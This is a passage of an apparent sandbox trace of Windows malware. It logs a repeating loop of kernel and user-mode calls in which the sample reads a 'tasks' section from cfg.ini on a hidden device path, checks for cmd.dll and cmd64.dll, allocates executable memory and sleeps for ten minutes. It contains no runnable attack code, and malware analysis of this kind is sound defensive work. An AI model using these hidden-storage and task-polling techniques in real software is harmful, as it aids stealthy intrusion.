(_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.384] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.384] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.384] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.384] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.384] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c83f0 [0118.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.384] KeLeaveCriticalRegion () [0118.384] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.384] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.384] KeEnterCriticalRegion () [0118.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.384] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.384] KeLeaveCriticalRegion () [0118.384] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.384] KeEnterCriticalRegion () [0118.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.384] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.384] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.384] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.384] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.384] IdePortDispatch () returned 0x103 [0118.384] KeWaitForMutexObject () returned 0x0 [0118.384] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.384] KeLeaveCriticalRegion () [0118.384] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.384] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.384] KeEnterCriticalRegion () [0118.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.384] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc9000 [0118.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.385] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.385] IdePortDispatch () returned 0x103 [0118.385] KeWaitForMutexObject () returned 0x0 [0118.385] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.385] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.385] IdePortDispatch () returned 0x103 [0118.385] KeWaitForMutexObject () returned 0x0 [0118.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.385] KeLeaveCriticalRegion () [0118.385] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.386] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.386] KeEnterCriticalRegion () [0118.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.386] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.386] KeLeaveCriticalRegion () [0118.386] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.386] KeEnterCriticalRegion () [0118.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.386] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.386] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.386] KeLeaveCriticalRegion () [0118.386] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.386] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.386] KeEnterCriticalRegion () [0118.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.386] ExFreePoolWithTag (P=0xfffffa80039c83f0, Tag=0x0) [0118.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.386] KeLeaveCriticalRegion () [0118.386] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.386] ReleaseMutex (hMutex=0xf0) returned 1 [0118.386] Sleep (dwMilliseconds=0x927c0) [0118.401] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.401] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.401] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.401] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.401] KeEnterCriticalRegion () [0118.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.402] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.402] IdePortDispatch () returned 0x103 [0118.402] KeWaitForMutexObject () returned 0x0 [0118.402] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.402] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.402] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.402] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.402] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.402] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cafb0 [0118.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.402] KeLeaveCriticalRegion () [0118.402] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.402] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.402] KeEnterCriticalRegion () [0118.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.402] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.402] KeLeaveCriticalRegion () [0118.402] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.402] KeEnterCriticalRegion () [0118.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.402] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.402] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.402] IdePortDispatch () returned 0x103 [0118.402] KeWaitForMutexObject () returned 0x0 [0118.403] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.403] KeLeaveCriticalRegion () [0118.403] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.403] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.403] KeEnterCriticalRegion () [0118.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.403] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cce000 [0118.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.403] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.403] IdePortDispatch () returned 0x103 [0118.403] KeWaitForMutexObject () returned 0x0 [0118.403] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.403] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.403] IdePortDispatch () returned 0x103 [0118.403] KeWaitForMutexObject () returned 0x0 [0118.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.403] KeLeaveCriticalRegion () [0118.403] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.404] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.404] KeEnterCriticalRegion () [0118.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.404] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.404] KeLeaveCriticalRegion () [0118.404] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.404] KeEnterCriticalRegion () [0118.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.404] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.404] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.404] KeLeaveCriticalRegion () [0118.404] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.404] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.404] KeEnterCriticalRegion () [0118.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.404] ExFreePoolWithTag (P=0xfffffa80039cafb0, Tag=0x0) [0118.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.404] KeLeaveCriticalRegion () [0118.404] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.404] ReleaseMutex (hMutex=0xf0) returned 1 [0118.404] Sleep (dwMilliseconds=0x927c0) [0118.418] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.418] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.418] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.418] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.418] KeEnterCriticalRegion () [0118.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.419] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.419] IdePortDispatch () returned 0x103 [0118.419] KeWaitForMutexObject () returned 0x0 [0118.419] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.419] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.419] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.419] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.419] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.419] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039caf00 [0118.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.419] KeLeaveCriticalRegion () [0118.419] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.419] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.419] KeEnterCriticalRegion () [0118.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.419] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.419] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.419] KeLeaveCriticalRegion () [0118.419] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.419] KeEnterCriticalRegion () [0118.419] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.419] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.419] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.419] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.419] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.419] IdePortDispatch () returned 0x103 [0118.420] KeWaitForMutexObject () returned 0x0 [0118.420] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.420] KeLeaveCriticalRegion () [0118.420] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.420] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.420] KeEnterCriticalRegion () [0118.420] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.420] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd3000 [0118.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.420] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.420] IdePortDispatch () returned 0x103 [0118.420] KeWaitForMutexObject () returned 0x0 [0118.420] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.420] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.420] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.420] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.420] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0118.420] IdePortDispatch () returned 0x103 [0118.420] KeWaitForMutexObject () returned 0x0 [0118.420] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.420] KeLeaveCriticalRegion () [0118.420] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.421] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.421] KeEnterCriticalRegion () [0118.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.421] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.421] KeLeaveCriticalRegion () [0118.421] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.421] KeEnterCriticalRegion () [0118.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.421] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.421] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.421] KeLeaveCriticalRegion () [0118.421] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.421] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.421] KeEnterCriticalRegion () [0118.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.421] ExFreePoolWithTag (P=0xfffffa80039caf00, Tag=0x0) [0118.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.421] KeLeaveCriticalRegion () [0118.421] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.421] ReleaseMutex (hMutex=0xf0) returned 1 [0118.421] Sleep (dwMilliseconds=0x927c0) [0118.437] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0118.437] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.437] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0118.437] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.437] KeEnterCriticalRegion () [0118.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.437] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.437] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.437] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.437] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0118.437] IdePortDispatch () returned 0x103 [0118.437] KeWaitForMutexObject () returned 0x0 [0118.437] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.437] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.437] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.437] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.437] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.437] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7b50 [0118.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.437] KeLeaveCriticalRegion () [0118.437] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.437] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.437] KeEnterCriticalRegion () [0118.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.437] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.437] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.437] KeLeaveCriticalRegion () [0118.437] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.437] KeEnterCriticalRegion () [0118.437] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.437] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.437] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.437] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.437] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0118.437] 